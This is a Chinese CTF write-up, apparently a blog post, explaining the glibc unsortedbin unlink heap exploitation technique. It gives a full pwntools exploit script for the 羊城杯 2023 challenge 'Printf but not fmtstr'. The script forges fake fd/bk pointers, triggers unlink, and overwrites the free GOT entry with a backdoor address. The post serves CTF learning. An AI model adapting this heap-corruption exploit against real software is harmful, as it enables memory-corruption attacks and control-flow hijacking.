Unlink小记

简介:通过unsortedbin的脱链操作,即链表头处free的堆块从unsortedbin中脱离然后前向或后向合并为一个新的大堆块再放进unsortedbin中

原理:伪造fake_chunk处于free状态,构造fd和bk指针,从而绕过unlink检查实现向p位置写入p-0x18,一般构造fake_bk=p-0x10,fake_fd=p-0x18

利用条件:堆溢出,off_by_one/null修改使用标志位,uaf等均可

什么时候利用:bss段或其他地方有堆管理的地址

如何伪造及其效果:

(借用一下星盟师傅的图片)

例题:[羊城杯 2023 决赛]Printf but not fmtstr

本题add只允许0x500-0x900大小的堆块,且free后没有置零,edit依旧可以对free的堆块操作

并且malloc的堆块地址会存放于bss段,符合unlink的条件

先做好自动化交互

from pwn import *

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = remote("node4.anna.nssctf.cn", 28924)
libc = ELF("./libc.so.6")
elf = ELF('./pwn')

def add(idx, size):
    sl(b'1')
    sla(b"Index: ", str(idx))
    sla(b'Size: ', str(size))
def delete(idx):
    sl(b'2')
    sla(b'Index: ', str(idx))
def edit(idx, content):
    sl(b'3')
    sla(b'Index: ', str(idx))
    sa(b'Content: ', content)
def show(idx):
    sl(b'4')
    sla(b'Index: ', str(idx))

因为我们没有off_by_one/null或者堆溢出,无法改掉下一个chunk的in_use位,但是我们可以通过堆风水构造出fake_chunk,我们先申请三块0x500大小的chunk,然后free掉0,1

add(0,0x500)
add(1,0x500)
add(2,0x500)

delete(0)
delete(1)

add(3,0x510)

 此时,chunk0和chunk1会合并为1个大堆块,我们此时再申请0x510大小的chunk,此时在free掉的chunk1的data域中就会出现我们类似已free的fake_chunk(其实是真正的从unsortedbin中切割下来的chunk,但是为了更好描述,我们称其为fake_chunk),同时,第二个堆块的pre_inuse位为0,pre_size也为0x500,符合我们unlink的条件,然后我们通过edit chunk1修改fake_chunk的fake_chunk的fd和bk,之后再free掉chunk2就会实现unlink操作,接下来就是改got表为backdoor即可

backdoor = 0x4011D6
target_addr = 0x4040E8
fake_bk = target_addr - 0x10
fake_fd = target_addr - 0x18

edit(1, p64(0)+p64(0x500)+p64(fake_fd)+p64(fake_bk))

delete(2)
edit(1,(p64(0) * 2 + p64(elf.got['free'])))

edit(0,p64(backdoor))
delete(1)

inter()

关于其他的unlink利用,如off_by_one/null和堆溢出可以参考星盟师傅的,讲的很详细

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值